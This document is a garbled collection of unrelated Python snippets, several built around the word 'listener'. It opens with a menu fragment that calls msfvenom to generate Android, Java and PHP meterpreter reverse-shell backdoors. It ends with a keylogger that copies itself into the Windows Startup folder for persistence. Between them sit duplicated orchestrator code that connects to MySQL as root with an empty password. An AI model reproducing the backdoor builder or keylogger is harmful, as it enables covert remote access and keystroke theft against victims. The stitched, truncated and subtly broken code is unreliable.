if (bd == "3"): os.system("clear") os.system("figlet ANDROID BACKDOOR") lhost = raw_input("LHOST: ") lport = raw_input("LPORT: ") os.system("msfvenom -p android/meterpreter/reverse_tcp lhost=" + lhost + " lport=" + lport + " > /root/Desktop/backdoor.apk") print("(*) Backdoor generated!") if (bd == "4"): os.system("clear") os.system("figlet MacOS BACKDOOR") lhost = raw_input("LHOST: ") lport = raw_input("LPORT: ") os.system("msfvenom -p java/meterpreter/reverse_tcp lhost=" + lhost + " lport=" + lport + " -f jar > /root/Desktop/backdoor.jar") print("(*) Backdoor generated!") if (bd == "5"): os.system("clear") os.system("figlet WEB BACKDOOR") lhost = raw_input("LHOST: ") lport = raw_input("LPORT: ") os.system("msfvenom -p php/meterpreter/reverse_tcp lhost= " + lhost + " lport= " + lport + " > /root/Desktop/backdoor.php") print("(*) Backdoor generated!") if (choice == "2"): listener()
for a in service_ips: pp_ips.append(a.firstChild.toxml()) subject = "select ip,port from GroundStations ORDER BY idGroundStation" try: con = mdb.connect(database_ip, 'root', '', 'Scenarios') cur = con.cursor() with con: cur.execute(subject) ground_stations_address = cur.fetchall() con.close() except (mdb.DataError, mdb.DatabaseError, mdb.Error, mdb.InterfaceError) as e: print e exit(-1) return pp_ips, ftp_user, ftp_passwd, ground_stations_address if __name__ == "__main__": import sys import orchestator from orchestator import orchestator, Iorchestator import listener from listener import listener import os service_ips, ftp_user, ftp_passwd, ground_stations_address = load_data() orch = orchestator(service_ips) #pdb.set_trace() lst = listener(orch, ftp_user, ftp_passwd, ground_stations_address) lst.pooling()
#!/usr/bin/env python if __name__ == "__main__": import sys import orchestator from orchestator import orchestator, Iorchestator import listener from listener import listener print "NADA" orch = orchestator() lst = listener(orch) lst.pooling()
def listener_runner(): global member_list, keep_running listening_server = listener(member_list) while (keep_running): order = listening_server.wait_for_order() listening_server.parse_order(order)
database_ip = nodes[0].getElementsByTagName("address")[0].getElementsByTagName("database")[0].firstChild.toxml() service_ips=nodes[0].getElementsByTagName("address")[0].getElementsByTagName("pp_service") for a in service_ips: pp_ips.append(a.firstChild.toxml()) subject = "select ip,port from GroundStations ORDER BY idGroundStation"; try: con = mdb.connect(database_ip, 'root','','Scenarios') cur = con.cursor() with con: cur.execute(subject) ground_stations_address= cur.fetchall() con.close() except (mdb.DataError,mdb.DatabaseError,mdb.Error,mdb.InterfaceError) as e: print e exit(-1) return pp_ips,ftp_user,ftp_passwd,ground_stations_address if __name__ == "__main__": import sys import orchestator from orchestator import orchestator,Iorchestator import listener from listener import listener service_ips,ftp_user,ftp_passwd,ground_stations_address = load_data() orch = orchestator(service_ips) #pdb.set_trace() lst = listener( orch , ftp_user,ftp_passwd, ground_stations_address) lst.pooling()
import pynput.keyboard import listener import os import logging from shutil import copyfile username = os.getlogin() loggin_directory = f"C:/Users/{username}/Desktop" copyfile('main.py',f'C:/User/{username}/AppData/Roaming/Start Menu/Start ') logging.basicConfig(filename=f"{loggin_directory}/mylog.txt, ", level=logging.DEBUG,format="%(asctime)s: %(message)s") def key_handler(key): logging.info(key) with listener(on_press=key_handler) as listener: listener.join()